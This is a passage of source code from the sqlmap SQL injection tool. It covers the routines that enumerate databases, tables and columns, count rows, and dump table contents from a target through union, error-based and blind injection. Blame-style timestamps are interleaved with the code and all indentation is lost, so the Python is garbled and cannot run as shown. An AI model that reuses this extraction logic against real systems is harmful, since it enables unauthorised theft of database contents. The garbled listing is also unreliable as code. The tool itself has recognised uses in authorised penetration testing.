plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.isDbms(DBMS.SYBASE):
query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ")
elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.query2 % index
else:
query = rootQuery.blind.query % index
db = inject.getValue(query, inband=False, error=False)
2008-10-15 19:38:22 +04:00
if db:
kb.data.cachedDbs.append(safeSQLIdentificatorNaming(db))
2008-10-15 19:38:22 +04:00
if not kb.data.cachedDbs and Backend.isDbms(DBMS.MSSQL):
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
blinds = (False, True)
else:
blinds = (True,)
for blind in blinds:
count = 0
kb.data.cachedDbs = []
while True:
query = rootQuery.inband.query2 % count
value = inject.getValue(query, blind=blind)
if not value:
break
else:
kb.data.cachedDbs.append(unArrayizeValue(value))
count += 1
if kb.data.cachedDbs:
break
if not kb.data.cachedDbs:
infoMsg = "falling back to current database"
logger.info(infoMsg)
self.getCurrentDb()
if kb.data.currentDb:
kb.data.cachedDbs = [kb.data.currentDb]
else:
errMsg = "unable to retrieve the database names"
raise sqlmapNoneDataException, errMsg
else:
kb.data.cachedDbs.sort()
2008-10-15 19:38:22 +04:00
return kb.data.cachedDbs
2008-10-15 19:38:22 +04:00
def getTables(self, bruteForce=None):
if len(kb.data.cachedTables) > 0:
return kb.data.cachedTables
self.forceDbmsEnum()
if bruteForce is None:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
2011-04-30 17:20:05 +04:00
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif Backend.isDbms(DBMS.ACCESS):
try:
tables = self.getTables(False)
except sqlmapNoneDataException:
tables = None
if not tables:
2011-04-30 17:20:05 +04:00
errMsg = "cannot retrieve table names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
else:
return tables
2010-10-29 13:00:51 +04:00
2012-02-16 18:42:28 +04:00
if conf.db == CURRENT_DB:
conf.db = self.getCurrentDb()
if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.db = conf.db.upper()
if conf.db:
dbs = conf.db.split(",")
else:
dbs = self.getDbs()
for db in dbs:
dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db)
dbs = filter(None, dbs)
2010-11-02 14:06:47 +03:00
if bruteForce:
resumeAvailable = False
2011-01-12 00:46:21 +03:00
for db, table in kb.brute.tables:
if db == conf.db:
resumeAvailable = True
break
if resumeAvailable:
for db, table in kb.brute.tables:
if db == conf.db:
2012-02-22 19:53:36 +04:00
if conf.db not in kb.data.cachedTables:
kb.data.cachedTables[conf.db] = [table]
else:
kb.data.cachedTables[conf.db].append(table)
return kb.data.cachedTables
message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
test = readInput(message, default="Y" if "Y" in message else "N")
2010-09-30 23:45:23 +04:00
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
2010-10-29 13:00:51 +04:00
else:
2010-11-09 12:42:43 +03:00
return tableExists(paths.COMMON_TABLES)
2008-10-15 19:38:22 +04:00
infoMsg = "fetching tables for database"
infoMsg += "%s: '%s'" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs)))
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].tables
2008-10-15 19:38:22 +04:00
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
query = rootQuery.inband.query
2010-12-22 14:46:18 +03:00
condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None
2008-10-15 19:38:22 +04:00
2010-12-22 14:46:18 +03:00
if condition:
if conf.excludeSysDbs:
2008-10-15 19:38:22 +04:00
query += " WHERE "
2011-03-30 01:54:15 +04:00
query += " AND ".join("%s != '%s'" % (condition, unsafeSQLIdentificatorNaming(db)) for db in self.excludeDbsList)
infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList))
2010-12-22 14:46:18 +03:00
logger.info(infoMsg)
elif not Backend.isDbms(DBMS.SQLITE):
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, unsafeSQLIdentificatorNaming(db)) for db in sorted(dbs))
2008-10-15 19:38:22 +04:00
2011-10-25 17:21:01 +04:00
if len(dbs) < 2 and ("%s," % condition) in query:
query = query.replace("%s," % condition, "", 1)
value = inject.getValue(query, blind=False)
2011-02-04 16:29:02 +03:00
if not isNoneValue(value):
2011-08-01 14:13:25 +04:00
value = filter(None, arrayizeValue(value))
2012-06-14 17:38:53 +04:00
if len(value) > 0 and not isListLike(value[0]):
2011-12-28 18:13:36 +04:00
value = map(lambda x: (dbs[0], x), value)
2011-08-09 18:20:25 +04:00
for db, table in filterPairValues(value):
2012-02-07 14:46:55 +04:00
db = safeSQLIdentificatorNaming(db)
2011-03-30 01:54:15 +04:00
table = safeSQLIdentificatorNaming(table, True)
2012-02-22 19:53:36 +04:00
if db not in kb.data.cachedTables:
kb.data.cachedTables[db] = [table]
2008-10-15 19:38:22 +04:00
else:
kb.data.cachedTables[db].append(table)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct:
2008-10-15 19:38:22 +04:00
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
continue
2011-04-30 17:20:05 +04:00
infoMsg = "fetching number of tables for "
2012-03-01 15:52:30 +04:00
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db)
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS):
query = rootQuery.blind.count
else:
2011-03-30 01:54:15 +04:00
query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db)
2012-07-11 13:58:47 +04:00
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
2008-10-15 19:38:22 +04:00
if not isNumPosStrValue(count):
2011-04-30 17:20:05 +04:00
warnMsg = "unable to retrieve the number of "
2012-03-01 15:52:30 +04:00
warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(db)
2008-10-15 19:38:22 +04:00
logger.warn(warnMsg)
continue
tables = []
2012-02-16 18:42:28 +04:00
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
2008-10-15 19:38:22 +04:00
for index in indexRange:
if Backend.isDbms(DBMS.SYBASE):
query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS):
2010-11-03 01:11:45 +03:00
query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
query = rootQuery.blind.query % index
else:
2011-03-30 01:54:15 +04:00
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index)
table = inject.getValue(query, inband=False, error=False)
if not isNoneValue(table):
kb.hintValue = table
table = safeSQLIdentificatorNaming(table, True)
tables.append(table)
2008-10-15 19:38:22 +04:00
if tables:
kb.data.cachedTables[db] = tables
2008-10-15 19:38:22 +04:00
else:
warnMsg = "unable to retrieve the table names "
2012-03-01 15:52:30 +04:00
warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(db)
2008-10-15 19:38:22 +04:00
logger.warn(warnMsg)
if isNoneValue(kb.data.cachedTables):
kb.data.cachedTables.clear()
if not kb.data.cachedTables:
errMsg = "unable to retrieve the table names for any database"
if bruteForce is None:
logger.error(errMsg)
return self.getTables(bruteForce=True)
else:
raise sqlmapNoneDataException, errMsg
else:
2011-10-28 16:49:35 +04:00
for db, tables in kb.data.cachedTables.items():
2011-10-28 17:07:23 +04:00
kb.data.cachedTables[db] = sorted(tables) if tables else tables
2008-10-15 19:38:22 +04:00
return kb.data.cachedTables
2008-10-15 19:38:22 +04:00
def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None):
self.forceDbmsEnum()
2012-02-16 18:42:28 +04:00
if conf.db is None or conf.db == CURRENT_DB:
if conf.db is None:
warnMsg = "missing database parameter, sqlmap is going "
warnMsg += "to use the current database to enumerate "
warnMsg += "table(s) columns"
logger.warn(warnMsg)
2010-12-30 11:29:20 +03:00
conf.db = self.getCurrentDb()
2010-12-30 11:29:20 +03:00
elif conf.db is not None:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.db = conf.db.upper()
if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns"
raise sqlmapMissingMandatoryOptionException, errMsg
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.col:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.col = conf.col.upper()
colList = conf.col.split(",")
else:
colList = []
for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
colList = filter(None, colList)
if conf.tbl:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.tbl = conf.tbl.upper()
tblList = conf.tbl.split(",")
else:
self.getTables()
if len(kb.data.cachedTables) > 0:
2011-07-13 03:27:47 +04:00
if conf.db in kb.data.cachedTables:
tblList = kb.data.cachedTables[conf.db]
else:
tblList = kb.data.cachedTables.values()
if isinstance(tblList[0], (set, tuple, list)):
tblList = tblList[0]
2012-01-14 01:46:21 +04:00
tblList = list(tblList)
else:
2012-01-30 18:41:17 +04:00
errMsg = "unable to retrieve the tables "
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
raise sqlmapNoneDataException, errMsg
for tbl in tblList:
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
if bruteForce is None:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif Backend.isDbms(DBMS.ACCESS):
errMsg = "cannot retrieve column names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
if bruteForce or colList:
resumeAvailable = False
2011-01-12 00:46:21 +03:00
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
resumeAvailable = True
break
if resumeAvailable or colList:
columns = {}
for column in colList:
columns[column] = None
for tbl in tblList:
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == tbl:
columns[colName] = colType
if conf.db in kb.data.cachedColumns:
2011-06-16 17:41:02 +04:00
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
else:
2011-06-16 17:41:02 +04:00
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns}
2011-01-12 00:46:21 +03:00
return kb.data.cachedColumns
message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
test = readInput(message, default="Y" if "Y" in message else "N")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
return columnExists(paths.COMMON_COLUMNS)
2008-10-15 19:38:22 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].columns
condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
2012-03-01 15:52:30 +04:00
infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
2012-02-22 19:53:36 +04:00
return {conf.db: kb.data.cachedColumns[conf.db]}
2008-10-15 19:38:22 +04:00
infoMsg = "fetching columns "
if len(colList) > 0:
2011-06-24 13:27:54 +04:00
if colTuple is None:
colConsider, colCondParam = self.likeOrExact("column")
else:
colConsider, colCondParam = colTuple
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
if colConsider == "1":
infoMsg += "like '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
else:
infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
else:
condQuery = ""
2012-03-01 15:52:30 +04:00
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
2012-02-22 19:53:36 +04:00
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
2012-02-22 19:53:36 +04:00
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(tbl.upper())
query += condQuery
elif Backend.isDbms(DBMS.MSSQL):
2011-06-24 13:27:54 +04:00
query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db,
2012-04-30 03:09:00 +04:00
conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.inband.query % tbl
2008-10-15 19:38:22 +04:00
value = inject.getValue(query, blind=False)
2008-10-15 19:38:22 +04:00
if Backend.isDbms(DBMS.SQLITE):
parseSqliteTableSchema(value)
elif not isNoneValue(value):
table = {}
columns = {}
2011-02-19 17:56:58 +03:00
for columnData in value:
if not isNoneValue(columnData):
name = safeSQLIdentificatorNaming(columnData[0])
2011-02-19 17:56:58 +03:00
2011-08-16 10:14:40 +04:00
if name:
if len(columnData) == 1:
columns[name] = ""
else:
columns[name] = columnData[1]
2011-02-19 17:56:58 +03:00
if conf.db in kb.data.cachedColumns:
2011-06-16 17:41:02 +04:00
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
else:
2011-06-16 17:41:02 +04:00
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
2011-02-19 17:56:58 +03:00
2012-02-24 18:28:41 +04:00
elif isInferenceAvailable() and not conf.direct:
for tbl in tblList:
if conf.db is not None and len(kb.data.cachedColumns) > 0 \
and conf.db in kb.data.cachedColumns and tbl in \
kb.data.cachedColumns[conf.db]:
infoMsg = "fetched tables' columns on "
infoMsg += "database '%s'" % conf.db
logger.info(infoMsg)
2011-02-19 17:56:58 +03:00
2012-02-22 19:53:36 +04:00
return {conf.db: kb.data.cachedColumns[conf.db]}
2008-10-15 19:38:22 +04:00
infoMsg = "fetching columns "
2008-10-15 19:38:22 +04:00
if len(colList) > 0:
2011-09-11 21:22:27 +04:00
if colTuple is None:
colConsider, colCondParam = self.likeOrExact("column")
else:
colConsider, colCondParam = colTuple
condQueryStr = "%%s%s" % colCondParam
condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))
if colConsider == "1":
infoMsg += "like '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
2011-09-11 21:22:27 +04:00
else:
infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
else:
condQuery = ""
2012-03-01 15:52:30 +04:00
infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
2012-02-22 19:53:36 +04:00
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(tbl.upper())
query += condQuery
2012-04-30 03:09:00 +04:00
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.count % (conf.db, conf.db, \
2012-04-30 03:09:00 +04:00
unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.count % (tbl)
query += condQuery
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.blind.query % tbl
value = inject.getValue(query, inband=False, error=False)
parseSqliteTableSchema(value)
return kb.data.cachedColumns
2008-10-15 19:38:22 +04:00
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
errMsg = "unable to retrieve the number of columns "
2012-03-01 15:52:30 +04:00
errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.error(errMsg)
continue
2008-10-15 19:38:22 +04:00
table = {}
columns = {}
2012-02-16 18:42:28 +04:00
indexRange = getLimitRange(count)
for index in indexRange:
2012-02-22 19:53:36 +04:00
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
query += condQuery
field = None
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl.upper())
query += condQuery
field = None
2012-04-30 03:09:00 +04:00
elif Backend.isDbms(DBMS.MSSQL):
2011-06-24 13:27:54 +04:00
query = rootQuery.blind.query % (conf.db, conf.db, conf.db, conf.db,
2012-04-30 03:09:00 +04:00
conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
query += condQuery.replace("[DB]", conf.db)
field = condition.replace("[DB]", conf.db)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (tbl)
query += condQuery
field = None
query = agent.limitQuery(index, query, field)
column = inject.getValue(query, inband=False, error=False)
2011-08-16 10:14:40 +04:00
if not isNoneValue(column):
if not onlyColNames:
2012-02-22 19:53:36 +04:00
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
2011-08-16 10:14:40 +04:00
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db))
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column)
elif Backend.isDbms(DBMS.MSSQL):
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db,
2012-04-30 03:09:00 +04:00
conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
2011-08-16 10:14:40 +04:00
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query2 % (tbl, column)
colType = inject.getValue(query, inband=False, error=False)
if Backend.isDbms(DBMS.FIREBIRD):
colType = firebirdTypes.get(colType, colType)
column = safeSQLIdentificatorNaming(column)
columns[column] = colType
else:
column = safeSQLIdentificatorNaming(column)
columns[column] = None
2008-10-15 19:38:22 +04:00
if columns:
if conf.db in kb.data.cachedColumns:
2011-06-16 17:41:02 +04:00
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
else:
2011-06-16 17:41:02 +04:00
table[safeSQLIdentificatorNaming(tbl, True)] = columns
kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
2008-10-15 19:38:22 +04:00
if not kb.data.cachedColumns:
errMsg = "unable to retrieve the columns for any "
errMsg += "table in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
logger.error(errMsg)
2008-10-15 19:38:22 +04:00
if bruteForce is None:
return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True)
return kb.data.cachedColumns
2008-10-15 19:38:22 +04:00
2011-04-30 02:37:43 +04:00
def getSchema(self):
infoMsg = "enumerating database management system schema"
logger.info(infoMsg)
pushValue(conf.db)
pushValue(conf.tbl)
pushValue(conf.col)
2011-04-30 02:37:43 +04:00
conf.db = None
conf.tbl = None
conf.col = None
kb.data.cachedTables = {}
kb.data.cachedColumns = {}
2011-04-30 02:37:43 +04:00
self.getTables()
infoMsg = "fetched tables: "
infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \
2011-04-30 02:37:43 +04:00
Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \
else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \
2011-04-30 02:37:43 +04:00
kb.data.cachedTables.items()])
logger.info(infoMsg)
for db, tables in kb.data.cachedTables.items():
for tbl in tables:
conf.db = db
conf.tbl = tbl
self.getColumns()
conf.col = popValue()
2011-04-30 02:37:43 +04:00
conf.tbl = popValue()
conf.db = popValue()
return kb.data.cachedColumns
def __tableGetCount(self, db, table):
if Backend.isDbms(DBMS.DB2):
2011-10-24 13:55:50 +04:00
query = "SELECT %s FROM %s.%s--" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(db.upper()), safeSQLIdentificatorNaming(table.upper(), True))
else:
2011-10-24 13:55:50 +04:00
query = "SELECT %s FROM %s.%s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(table, True))
count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
2012-02-20 14:24:55 +04:00
if isNumPosStrValue(count):
2011-06-16 17:41:02 +04:00
if safeSQLIdentificatorNaming(db) not in kb.data.cachedCounts:
kb.data.cachedCounts[safeSQLIdentificatorNaming(db)] = {}
2011-06-16 17:41:02 +04:00
if int(count) in kb.data.cachedCounts[safeSQLIdentificatorNaming(db)]:
kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)].append(safeSQLIdentificatorNaming(table, True))
else:
2011-06-16 17:41:02 +04:00
kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)] = [safeSQLIdentificatorNaming(table, True)]
def getCount(self):
if not conf.tbl:
warnMsg = "missing table parameter, sqlmap will retrieve "
warnMsg += "the number of entries for all database "
warnMsg += "management system databases' tables"
logger.warn(warnMsg)
elif "." in conf.tbl:
if not conf.db:
conf.db, conf.tbl = conf.tbl.split(".")
if conf.tbl is not None and conf.db is None:
warnMsg = "missing database parameter, sqlmap is going to "
warnMsg += "use the current database to retrieve the "
2012-03-01 15:52:30 +04:00
warnMsg += "number of entries for table '%s'" % unsafeSQLIdentificatorNaming(conf.tbl)
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
self.forceDbmsEnum()
if conf.tbl:
for table in conf.tbl.split(","):
self.__tableGetCount(conf.db, table)
else:
self.getTables()
for db, tables in kb.data.cachedTables.items():
for table in tables:
self.__tableGetCount(db, table)
return kb.data.cachedCounts
2011-02-19 17:56:58 +03:00
def __pivotDumpTable(self, table, colList, count=None, blind=True):
2011-02-19 03:36:47 +03:00
lengths = {}
entries = {}
2011-02-19 17:56:58 +03:00
dumpNode = queries[Backend.getIdentifiedDbms()].dump_table.blind
2011-02-19 03:36:47 +03:00
validColumnList = False
validPivotValue = False
2012-04-03 16:19:37 +04:00
if count is None:
2011-02-19 17:56:58 +03:00
query = dumpNode.count % table
2012-04-03 16:19:37 +04:00
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if blind else inject.getValue(query, blind=False, expected=EXPECTED.INT)
2011-02-19 17:56:58 +03:00
2012-04-03 16:19:37 +04:00
if isinstance(count, basestring) and count.isdigit():
count = int(count)
if count == 0:
2012-03-01 15:52:30 +04:00
infoMsg = "table '%s' appears to be empty" % unsafeSQLIdentificatorNaming(table)
logger.info(infoMsg)
2011-05-23 23:16:29 +04:00
for column in colList:
lengths[column] = len(column)
entries[column] = []
return entries, lengths
2011-12-21 18:25:39 +04:00
2012-02-01 13:23:52 +04:00
elif not isNumPosStrValue(count):
2011-05-23 23:16:29 +04:00
return None
for column in colList:
lengths[column] = 0
entries[column] = BigArray()
colList = filter(None, sorted(colList, key=lambda x: len(x) if x else MAX_INT))
2011-02-19 12:40:41 +03:00
for column in colList:
infoMsg = "fetching number of distinct "
infoMsg += "values for column '%s'" % column
logger.info(infoMsg)
2011-02-19 03:36:47 +03:00
2011-02-19 12:40:41 +03:00
query = dumpNode.count2 % (column, table)
2012-07-11 13:58:47 +04:00
value = inject.getValue(query, blind=blind, inband=not blind, error=not blind, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
2011-02-19 03:36:47 +03:00
2011-02-19 12:40:41 +03:00
if isNumPosStrValue(value):
validColumnList = True
2011-02-19 12:40:41 +03:00
if value == count:
infoMsg = "using column '%s' as a pivot " % column
infoMsg += "for retrieving row data"
logger.info(infoMsg)
2011-02-19 03:36:47 +03:00
2011-02-19 12:40:41 +03:00
validPivotValue = True
2011-02-19 03:36:47 +03:00
2011-02-19 12:40:41 +03:00
colList.remove(column)
colList.insert(0, column)
break
2011-02-19 03:36:47 +03:00
if not validColumnList:
errMsg = "all column name(s) provided are non-existent"
raise sqlmapNoneDataException, errMsg
if not validPivotValue:
warnMsg = "no proper pivot column provided (with unique values)."
2012-04-03 16:19:37 +04:00
warnMsg += " It won't be possible to retrieve all rows"
2011-02-19 03:36:47 +03:00
logger.warn(warnMsg)
pivotValue = " "
breakRetrieval = False
try:
2012-04-03 16:19:37 +04:00
for i in xrange(count):
if breakRetrieval:
break
2011-02-19 03:36:47 +03:00
for column in colList:
2011-08-02 03:25:58 +04:00
# Correction for pivotValues with unrecognized/problematic chars
for char in ('\'', '?'):
if pivotValue and char in pivotValue and pivotValue[0] != char:
pivotValue = pivotValue.split(char)[0]
pivotValue = pivotValue[:-1] + chr(ord(pivotValue[-1]) + 1)
2011-08-02 03:25:58 +04:00
break
if column == colList[0]:
query = dumpNode.query % (column, table, column, pivotValue)
else:
query = dumpNode.query2 % (column, table, colList[0], pivotValue)
2012-07-11 13:58:47 +04:00
value = inject.getValue(query, blind=blind, inband=not blind, error=not blind)
if column == colList[0]:
2012-02-29 17:56:40 +04:00
if isNoneValue(value):
breakRetrieval = True
break
else:
pivotValue = safechardecode(value)
if conf.limitStart or conf.limitStop:
if conf.limitStart and (i + 1) < conf.limitStart:
2012-02-22 19:53:36 +04:00
warnMsg = "skipping first %d pivot " % conf.limitStart
2011-05-26 19:23:28 +04:00
warnMsg += "point values"
2011-06-08 18:35:23 +04:00
singleTimeWarnMessage(warnMsg)
break
elif conf.limitStop and (i + 1) > conf.limitStop:
breakRetrieval = True
break
2012-02-23 20:37:06 +04:00
value = "" if isNoneValue(value) else unArrayizeValue(value)
2011-06-15 23:03:37 +04:00
lengths[column] = max(lengths[column], len(value) if value else 0)
entries[column].append(value)
except KeyboardInterrupt:
warnMsg = "user aborted during enumeration. sqlmap "
warnMsg += "will display partial output"
logger.warn(warnMsg)
2011-02-19 03:36:47 +03:00
except sqlmapConnectionException, e:
errMsg = "connection exception detected. sqlmap "
errMsg += "will display partial output"
errMsg += "'%s'" % e
logger.critical(errMsg)
2011-02-19 03:36:47 +03:00
2011-02-19 12:36:57 +03:00
return entries, lengths
2011-06-24 13:27:54 +04:00
def dumpTable(self, foundData=None):
self.forceDbmsEnum()
2012-02-16 18:42:28 +04:00
if conf.db is None or conf.db == CURRENT_DB:
if conf.db is None:
warnMsg = "missing database parameter, sqlmap is going "
warnMsg += "to use the current database to enumerate "
warnMsg += "table(s) entries"
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
elif conf.db is not None:
if Backend.isDbms(DBMS.ORACLE):
conf.db = conf.db.upper()
if ',' in conf.db:
errMsg = "only one database name is allowed when enumerating "
errMsg += "the tables' columns"
raise sqlmapMissingMandatoryOptionException, errMsg
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.tbl:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.tbl = conf.tbl.upper()
tblList = conf.tbl.split(",")
else:
self.getTables()
2010-12-18 01:23:01 +03:00
if len(kb.data.cachedTables) > 0:
tblList = kb.data.cachedTables.values()
2010-12-18 01:23:01 +03:00
if isinstance(tblList[0], (set, tuple, list)):
tblList = tblList[0]
else:
2012-02-01 13:17:38 +04:00
errMsg = "unable to retrieve the tables "
